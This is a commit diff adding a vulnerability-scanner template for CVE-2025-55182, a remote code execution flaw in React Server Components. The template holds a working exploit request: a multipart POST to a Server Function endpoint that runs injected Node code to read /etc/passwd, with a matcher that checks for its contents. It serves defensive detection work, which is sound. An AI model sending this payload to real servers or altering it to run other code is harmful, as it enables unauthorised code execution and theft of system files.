Compare commits

...
+50
View File
@@ -0,0 +1,50 @@
id: CVE-2025-55182
info:
name: React Server Components - Remote Code Execution
author: DhiyaneshDk
severity: critical
description: |
React Server Components 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack contain a remote code execution caused by unsafe deserialization of payloads from HTTP requests to Server Function endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
impact: |
Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
remediation: |
Update to the latest version that fixes the unsafe deserialization issue.
reference:
- https://github.com/fatguru/CVE-2025-55182-scanner
- https://www.facebook.com/security/advisories/cve-2025-55182
- http://www.openwall.com/lists/oss-security/2025/12/03/4
- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
metadata:
verified: true
max-request: 1
shodan-query: http.component:"Next.js"
tags: cve,cve2025,react,rce,detect
variables:
boundary: "{{to_lower(rand_base(9))}}"
http:
- raw:
- |
POST /formaction HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----{{boundary}}
Accept: text/x-component
------{{boundary}}
Content-Disposition: form-data; name="$ACTION_REF_0"
------{{boundary}}
Content-Disposition: form-data; name="$ACTION_0:0"
{"id": "vm#runInThisContext", "bound": ["process.mainModule.require("fs").readFileSync("/etc/passwd", "utf8")"]}
------{{boundary}}
matchers:
- type: regex
part: body
name: lfi
regex:
- "root:.*:0:0:"